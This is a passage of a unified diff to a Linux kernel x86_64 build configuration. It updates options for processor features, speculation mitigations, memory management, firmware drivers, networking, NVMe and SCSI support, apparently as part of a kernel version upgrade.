-CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -253,12 +256,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -# CONFIG_RETPOLINE is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -293,11 +294,13 @@ CONFIG_CPU_SUP_INTEL=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y @@ -308,7 +311,6 @@ CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_THRESHOLD=y -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -329,16 +330,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -356,22 +355,32 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,13 +395,13 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y -CONFIG_ACPI_VIDEO=y CONFIG_ACPI_FAN=y # CONFIG_ACPI_DOCK is not set CONFIG_ACPI_CPU_FREQ_PSS=y @@ -420,9 +429,11 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -446,6 +457,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -475,57 +488,15 @@ CONFIG_PCI_DIRECT=y # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_ISCSI_IBFT is not set -# CONFIG_FW_CFG_SYSFS is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set - -# -# EFI (Extensible Firmware Interface) Support -# -# CONFIG_EFI_VARS is not set -CONFIG_EFI_ESRT=y -CONFIG_EFI_RUNTIME_MAP=y -# CONFIG_EFI_FAKE_MEMMAP is not set -CONFIG_EFI_RUNTIME_WRAPPERS=y -# CONFIG_EFI_BOOTLOADER_CONTROL is not set -# CONFIG_EFI_CAPSULE_LOADER is not set -# CONFIG_EFI_TEST is not set -# CONFIG_EFI_RCI2_TABLE is not set -# CONFIG_EFI_DISABLE_PCI_DMA is not set -# end of EFI (Extensible Firmware Interface) Support - -CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -540,8 +511,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -553,8 +522,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -563,9 +535,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -576,6 +550,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -587,36 +562,65 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -625,6 +629,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -635,19 +641,21 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" CONFIG_TRIM_UNUSED_KSYMS=y CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -661,6 +669,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -700,38 +710,71 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -743,6 +786,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -753,12 +797,13 @@ CONFIG_INET=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set -# CONFIG_SYN_COOKIES is not set +CONFIG_SYN_COOKIES=y # CONFIG_NET_IPVTI is not set # CONFIG_NET_FOU is not set # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -777,10 +822,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -800,12 +843,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -820,8 +864,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -832,7 +876,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -865,6 +908,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -902,6 +947,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -911,6 +957,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -921,6 +968,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -940,9 +988,54 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -960,27 +1053,28 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support # -# CONFIG_BLK_DEV_NVME is not set +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +# CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -1003,9 +1097,9 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1034,21 +1128,21 @@ CONFIG_INTEL_MEI_TXE=m # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1060,6 +1154,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1094,7 +1189,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set -# CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set @@ -1103,8 +1197,8 @@ CONFIG_ISCSI_TCP=y # CONFIG_MEGARAID_SAS is not set # CONFIG_SCSI_MPT3SAS is not set # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set @@ -1113,7 +1207,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -# CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set @@ -1146,6 +1239,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1217,12 +1311,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1234,21 +1322,23 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -# CONFIG_NET_VENDOR_AURORA is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_CADENCE is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -# CONFIG_CX_ECAT is not set +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set 